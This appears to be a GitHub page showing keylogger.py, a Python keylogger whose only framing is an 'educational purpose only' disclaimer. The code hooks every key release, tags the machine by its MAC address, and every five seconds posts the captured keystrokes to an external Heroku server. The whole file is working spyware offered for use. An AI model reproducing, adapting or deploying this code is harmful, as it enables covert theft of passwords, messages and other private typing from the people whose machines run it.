-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathkeylogger.py
97 lines (81 loc) · 2.78 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
"""By using this code, written partially in PHP and Python, you agree that you will use it for educational purpose only and in case you use it for some illegal activity,
the author will not be responsible for it."""
# Importing the required modules
import threading
import keyboard
import requests
import time
import sys
from uuid import getnode as get_mac
# These are constant throughout the execution
CHARMAP = {
"shift" : "",
"right shift" : "",
"enter" : "\n",
"backspace" : "\\u0008",
"space" : " ",
"ctrl": " ctrl-",
"tab": " "
}
URL = "http://py3keylogger.herokuapp.com" # "http://127.0.0.1:5000"#
START_TIME = time.time()
CONDITION = True
try:
DEVICE_ID = open("device_id").read()
except:
file = open("device_id", "w")
file.write(str(get_mac()))
file.close()
DEVICE_ID = open("device_id").read()
requests.get(f"{URL}/register?device_id=" + DEVICE_ID)
# These changes with each iteration
prev_data = ""
new_data = ""
typed_string = ""
# Event thread
def sendinfo():
global prev_data, typed_string, CONDITION
# Applying my very own, state change detecting algorithm
while CONDITION:
try:
# Checking for new data
new_data = typed_string
if prev_data != new_data and new_data != "":
# If there is new data, sending it to server
print("Sending data:", new_data)
json = {
"device_id": DEVICE_ID,
"data": new_data
}
# print(new_data)
requests.post(f"{URL}/log", headers={"Content-Type":"application/json"}, json=json)
# Clearing the sent data from memory
typed_string = typed_string.replace(new_data, "", 1)
prev_data = new_data
time.sleep(5)
# Sleeping for 5 seconds to reduce load on server
except Exception as e:
# Catching and logging any error
print("Error:", e)
time.sleep(5)
def main(event):
global CONDITION, typed_string
#This is the main loop which handles the reading part of key-strokes
# Reading the key-strokes
key = event.name
if key == "esc":
print("Ended")
try:
# Comparing it with predefined sets of key-strokes
pressed = CHARMAP[key]
# Storing the data in memory
typed_string = typed_string + pressed
except:
typed_string = typed_string + key
# Starting the event thread
thread = threading.Thread(target=sendinfo)
thread.start()
# Starting the mainloop
keyboard.on_release(callback=main)
keyboard.wait("esc")
CONDITION = False